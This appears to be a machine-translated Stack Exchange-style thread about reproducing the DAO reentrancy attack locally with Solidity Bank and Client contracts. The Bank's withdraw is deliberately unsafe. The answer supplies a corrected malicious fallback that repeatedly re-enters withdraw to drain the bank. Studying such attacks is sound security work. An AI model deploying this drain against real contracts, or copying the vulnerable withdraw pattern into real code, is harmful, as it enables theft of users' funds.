無法使用 call.value 將乙太幣發送到另一個合約
塊生成器!我創建了銀行和客戶的合約,以重現 DAO 攻擊事件。客戶可以存款,但不能提款。
我在這裡附上來自 Github 的 repo: https ://github.com/wwang107/bank-client-ethereum
我的問題概述
我使用
msg.sender.call.value(amount)()
銀行契約中的withdraw()
使轉賬超級不安全。另外,我加入bank.withdraw()
了客戶端的回退功能。當客戶端呼叫它的withdraw()
. 我可以看到 truffle 控制台上彈出交易資訊,客戶在銀行的存款也減少了。然而,客戶和銀行契約的餘額保持不變,就好像withdraw
從未發生過一樣。我的契約:
Bank
:contract Bank { struct Client { uint deposit; bool active; } address owner; mapping(address => Client) public clientList; uint clientCounter; constructor() public payable { require(msg.value == 30 ether, "Initial funding of 30 ether required for rewards"); /* Set the owner to the creator of this contract */ owner = msg.sender; clientCounter = 0; } function enroll(address _addr) public { clientList[_addr].deposit = 0; clientList[_addr].active = true; clientCounter++; } function isClientActive(address _addr) public view returns(bool){ return clientList[_addr].active; } function getClientCounter() public view returns(uint){ return clientCounter; } // add the deposit to the sender account function addDeposit() public payable { if (clientList[msg.sender].active != true){ revert("the client's address does not exist"); }else{ clientList[msg.sender].deposit += msg.value; } } // transfer the amount of ether to the provided address <<<DOES NOT TRANSFER ETH function withdraw(address _recipient, uint amount) public payable { if (clientList[_recipient].deposit < amount){ revert("not enough deposit to make the withdraw"); }else { _recipient.call.value(amount)(); clientList[_recipient].deposit -= amount; } } // return the deposit of the provide address function checkDeposit(address _addr) public view returns (uint) { return clientList[_addr].deposit; } // received money from the client contract function () public payable { if (!isClientActive(msg.sender)){ revert("client does not exist"); } else { clientList[msg.sender].deposit += msg.value; } } }
client
:contract Client { address owner; // the client contract connect with the account who creates it Bank bank; // the bank that this client contract connected with int a = 0; constructor (address _referBank, address _owner) public payable { owner = _owner; bank = Bank(_referBank); bank.enroll(address(this)); } function isClientActive() public view returns(bool) { return bank.isClientActive(address(this)); } function addFund() public payable { require(msg.sender == owner, "only owner are allow to send money to client contract"); } function addDeposit(uint amount) public { // addresss(bank).transfer(amount) bank.addDeposit.value(amount)(); } function withdraw(uint amount) public payable{ bank.withdraw(address(this),amount); } function checkDeposit() public view returns(uint) { return bank.checkDeposit(address(this)); } function checkBalance() public view returns(uint) { return address(this).balance; } // transfer the balance from the client's contract to the owner account function () public payable { // require(msg.sender == owner, "only owner are allow to send money to client contract"); if (a<5){ bank.withdraw(address(this),50*10**18); a++; } } }
truffle console
命令和提示響應:首先,我部署合約,其中
bank
和client
初始化為 30 ETH 和 5 ETHvar b var c; var bankBalance; var clientBalance; Bank.deployed().then((inst)=>{b=inst}); Client.deployed().then((inst)=>{c=inst});
其次,客戶存款並在銀行檢查其存款
c.addDeposit(web3.utils.toWei("1", "ether")) c.checkDeposit().then(res=>{console.log(web3.utils.fromWei(res))})
prompt
:1 undefined
第三,客戶提取他的 1 ETH。
c.withdraw(web3.utils.toWei("1", "ether"))
prompt
:{ tx: '0xe3a3e17940d5519a4646edc0b0b9993e622b8a97536fa4633f83a4848a1b9f4f', receipt: { transactionHash: '0xe3a3e17940d5519a4646edc0b0b9993e622b8a97536fa4633f83a4848a1b9f4f', transactionIndex: 0, blockHash: '0x26fa17c815692a9b5625317d7cbde345d6184c526e7d520710d9b193f3c9e0bd', blockNumber: 79, from: '0xfa3bb08b86a29bfe202666a86ffcae1dcdd9caae', to: '0x58ebccb7e3f807433aba1763c80e27d751c703ee', gasUsed: 14900, cumulativeGasUsed: 14900, contractAddress: null, logs: [], status: true, logsBloom:.... .... v: '0x1b', r: '0x3f21a9c8f70a1eca151b5159e96aaaffbc798b1745ca2da2274b13cb678ced12', s: '0x4df586c2e41227633e51bd0b0e14b8bb67d1c51b584901c9a7de9a6a1ba363aa', rawLogs: [] }, logs: [] }
最後,我檢查了
client
和bank
truffle(development)> console.log(bankBalance) 31 console.log(clientBalance)undefined truffle(development)> console.log(clientBalance) 4 undefined
本來,由於客戶合約中的惡意回退功能,我希望客戶不僅應該從銀行取回他的 1 ETH,還應該從銀行取回 50 ETH。但是,銀行沒有向客戶匯款,但客戶在銀行的存款價值卻減少了。
我在這裡附上來自 Github 的 repo: https ://github.com/wwang107/bank-client-ethereum
我認為您的備份功能存在兩個問題:
function () public payable { if (a<5){ bank.withdraw(address(this),50*10**18); a++; } }
- 您只
a
在函式末尾遞增,因此它實際上從未遞增。當您呼叫 時bank.withdraw
,它會再次呼叫回退函式,並且您“永遠”不會退出該遞歸。(最終銀行將耗盡資金,整個事情將被恢復。)- 看起來你試圖提取 50 ETH 5 次,但銀行里沒有那麼多的乙太幣,而且客戶無論如何也不允許提取那麼多。兩者都應該導致還原。
由於這兩個錯誤中的一個/兩個,你
.call()
正在恢復,所以沒有乙太被轉移。(銀行忽略 的返回值.call()
,因此它不知道/不在乎呼叫已恢復。)這將是我的解決方法:
function () public payable { uint256 amount = checkDeposit(); // this is the max we can attempt to withdraw // the bank may not have that much left if (address(bank).balance < amount) { amount = address(bank).balance; } // if there's more left to withdraw, do it if (amount > 0) { bank.withdraw(address(this), amount); } }